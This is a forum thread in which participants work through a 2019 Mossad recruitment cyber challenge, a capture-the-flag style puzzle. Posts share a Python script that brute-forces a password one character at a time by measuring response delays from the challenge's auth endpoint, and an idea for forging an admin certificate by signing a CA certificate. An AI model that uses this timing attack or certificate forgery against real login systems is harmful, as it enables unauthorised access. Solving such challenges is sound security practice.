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Israeli Mossad launches cyber challenge

3d375032374147a7865753e4bbc92682.xyz

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Re: Israeli Mossad launches cyber challenge

#82

Post by Gra8888 »

itaybre wrote: post #79
Gra8 wrote: post #77

Earlier quoted context omitted.

As I check:You need to input administrator inside login without pass in browser Preserve log mode and jAvAsCrIpT generate it by login name check Headers Form Data private key .I think I am on the way but now I need password from cert of Admin now:))

Did you get any solution from there? To me it seems that these are just randomly generated certs with a CN

No not work . But Good idea you give cert is now wildcard *. CN Common Name . Thank U. I check.

Re: Israeli Mossad launches cyber challenge

#83

Post by Harible »

Gra8888 wrote: post #82
itaybre wrote: post #79

Earlier quoted context omitted.

Did you get any solution from there? To me it seems that these are just randomly generated certs with a CN

No not work . But Good idea you give cert is now wildcard *. CN Common Name . Thank U. I check.

Any luck?

Re: Israeli Mossad launches cyber challenge

#85

Post by adv-it »

rootux wrote: post #65
DvirRonaldo wrote: post #62

First Challenge Solution: Mossad 2019 Challenge Start: https://r-u-ready-4.it/ Every line in the image is binary 8-bit number that will give you an ip address : 35.246.158.51 Challenge-1 :Link http://3d375032374147a7865753e4bbc92682.xyz / http://35.246.158.51 Download app.apk from http://3d375032374147a7865753e4bbc92682.xyz/static/app.apk Remember your Client ID - mine is 854279b4c89e4b5c9722352c3f9f1d6c You will use…

Not sure I understand the bruthforce code. I'm trying to get the first char. I've written something along import requests import string #a-zA-Z!@#$%^&*()_-= printables_chars = string.printable agent = 'ed9ae2c0-9b15-4556-a393-23d500675d4b' for i, char in enumerate(printables_chars): print('run {}. char {}'.format(i,char)) result = requests.post('http://35.246.158.51:8070/auth/v1_1', data={"Seed": "d14236b60e0f4aef944…

On Python I used this:

CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,.`~"

URL = "http://35.246.158.51:8070/auth/v1_1"

HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }

PAYLOAD ={}

for i in range(len(CHARACTERS)):

    PAYLOAD['Seed']     = "6711d2ec0d724396ad1570fcfb431443"

    PAYLOAD['Password'] = "" + CHARACTERS[i]

    r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)

    result = r.json()

    delay = result['Time']

    print(str(PAYLOAD) + " - " + str(delay))
But for first character I don't see really huge DELAY response, always I have few characters with big delay and not only one.

Re: Israeli Mossad launches cyber challenge

#86

Post by [deleted] »

adv-it wrote: post #85
rootux wrote: post #65

Earlier quoted context omitted.

Not sure I understand the bruthforce code. I'm trying to get the first char. I've written something along import requests import string #a-zA-Z!@#$%^&*()_-= printables_chars = string.printable agent = 'ed9ae2c0-9b15-4556-a393-23d500675d4b' for i, char in enumerate(printables_chars): print('run {}. char {}'.format(i,char)) result = requests.post('http://35.246.158.51:8070/auth/v1_1', data={"Seed": "d14236b60e0f4aef944…

On Python I used this: CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,. `~" URL = " http://35.246.158.51:8070/auth/v1_1" HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' } PAYLOAD ={} for i in range(len(CHARACTERS)): PAYLOAD['Seed'] = "6711d2ec0d724396ad1570fcfb431443" PAYLOAD['Password'] = "" + CHA…

[deleted]

Re: Israeli Mossad launches cyber challenge

#87

Post by ranro »

Gra8888 wrote: post #84
Harible wrote: post #83

Earlier quoted context omitted.

Any luck?

NO, It's harible..

I have an idea, but don't have the time to check :-/ Using online CSR generator I succeeded to sign a CA certificate.. So maybe we can use the signed certificate to sign another certificate for admin user on behalf of the root certificate?

Re: Israeli Mossad launches cyber challenge

#88

Post by ranro »

ranro wrote: post #87
Gra8888 wrote: post #84

Earlier quoted context omitted.

NO, It's harible..

I have an idea, but don't have the time to check :-/ Using online CSR generator I succeeded to sign a CA certificate.. So maybe we can use the signed certificate to sign another certificate for admin user on behalf of the root certificate?

update: it worked :-)

Re: Israeli Mossad launches cyber challenge

#89

Post by zuburking »

ranro wrote: post #87
Gra8888 wrote: post #84

Earlier quoted context omitted.

NO, It's harible..

I have an idea, but don't have the time to check :-/ Using online CSR generator I succeeded to sign a CA certificate.. So maybe we can use the signed certificate to sign another certificate for admin user on behalf of the root certificate?

how could u do it? from my understanding of pcsk12 its a bundle of multiple certificates.

Re: Israeli Mossad launches cyber challenge

#90

Post by Gra8888 »

adv-it wrote: post #85
rootux wrote: post #65

Earlier quoted context omitted.

Not sure I understand the bruthforce code. I'm trying to get the first char. I've written something along import requests import string #a-zA-Z!@#$%^&*()_-= printables_chars = string.printable agent = 'ed9ae2c0-9b15-4556-a393-23d500675d4b' for i, char in enumerate(printables_chars): print('run {}. char {}'.format(i,char)) result = requests.post('http://35.246.158.51:8070/auth/v1_1', data={"Seed": "d14236b60e0f4aef944…

On Python I used this: CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,. `~" URL = " http://35.246.158.51:8070/auth/v1_1" HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' } PAYLOAD ={} for i in range(len(CHARACTERS)): PAYLOAD['Seed'] = "6711d2ec0d724396ad1570fcfb431443" PAYLOAD['Password'] = "" + CHA…

I think u can remove Big letters and characters need only abc...1234 numb it's faster. Incredible code.
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